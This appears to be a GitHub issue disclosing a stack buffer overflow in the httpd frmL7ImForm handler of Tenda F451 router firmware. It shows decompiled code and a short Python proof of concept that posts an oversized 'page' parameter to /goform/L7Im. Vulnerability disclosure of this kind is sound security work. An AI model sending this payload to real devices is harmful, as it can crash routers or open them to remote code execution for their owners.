New issue

The frmL7ImForm function in Tenda's F451_kfw_V1.0.0.7_cn_svn7958 product has a buffer overflow #21

Open

Jimi-Lab opened 2 weeks ago Owner

Information

Vendor: Tenda
Product: F451_kfw_V1.0.0.7_cn_svn7958
Version: V1.0.0.7
Vulnerability: buffer overflow
Firmware Download: https://www.tenda.com.cn/material/show/1597
Author: Xianmao Ji

Descriptions

We found an overflow vulnerability in httpd :
In frmL7ImForm function,it reads in a user-provided parameter page

```
28  sub_1495C("SafeWanWebMan", fromSafeWanWebMan);
29  sub_1495C("VirSerDMZ", mDMZSetCfg);
30  sub_1495C("WanPortParam", fromWanPortParam);
31  sub_1495C("AdvSetMacClone", fromAdvSetMacClone);
32  sub_1495C("ipgroup", fromipgroup);
33  sub_1495C("L7Im", frmL7ImForm);
34  sub_1495C("timegroup", fromtimegroup);
35  sub_1495C("SafeClientFilter", fromSafeClientFilter);
36  sub_1495C("SafeUrlFilter", fromSafeUrlFilter);
37  sub_1495C("SafeWebtypeFilter", formSafeWebtypeFilter);
```

And the variable v6 is passed to the sprintf function without any length check, which may overflow the stack-based buffer s.

```
1  int __fastcall frmL7ImForm(int a1)
2  {
3    int v1; // r0
4    int v2; // r0
5    char s[256]; // [sp+14h] [bp-130h] BYREF
6    const char *v6; // [sp+114h] [bp-30h]
7    int v7; // [sp+118h] [bp-2Ch]
8    int v8; // [sp+11Ch] [bp-28h]
9    int v9; // [sp+120h] [bp-24h]
10   int v10; // [sp+124h] [bp-20h]
11   int v11; // [sp+128h] [bp-1Ch]
12   int v12; // [sp+12Ch] [bp-18h]
13   int v13; // [sp+130h] [bp-14h]
14   int v14; // [sp+134h] [bp-10h]
15
16   v14 = 0;
17   v12 = sub_28BCC(a1, "l7check", "0");
18   v11 = sub_28BCC(a1, "ipgStr", &unk_81670);
19   v10 = sub_28BCC(a1, "softStr", "00000");
20   v9 = sub_28BCC(a1, "qqStr", &unk_81670);
21   v8 = sub_28BCC(a1, "markStr", &unk_81670);
22   v7 = sub_28BCC(a1, "ipflag", &unk_81670);
23   v13 = sub_3C5E8(v7);
24   SetValue("filter.chat.en", v12);
25   SetValue("filter.chat.ipg", v11);
26   SetValue("filter.chat.list", v10);
27   sub_46F38("filter.qq", v9, 44);
28   sub_46F38("filter.qqmark", v8, 59);
29   SetValue("ipgroup.flag", v7);
30   v6 = (const char *)sub_28BCC(a1, "page", "1");
31   v1 = sprintf(s, "im.asp?page=%s", v6);
32   v2 = CommitCfm(v1);
33   if ( v2 )
```

As a result, by requesting the page, an attacker can easily execute a denial of service attack or remote code execution.

Proof of Concept (PoC)

```
import requests
url = "http://127.0.0.1/goform/L7Im"
payload = {
'page':b'a'*2048
}
res = requests.post(url=url,data=payload)
```

Overcome

Metadata

Assignees

No one assigned

Labels

No labels

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

Code with agent mode

No branches or pull requests

Participants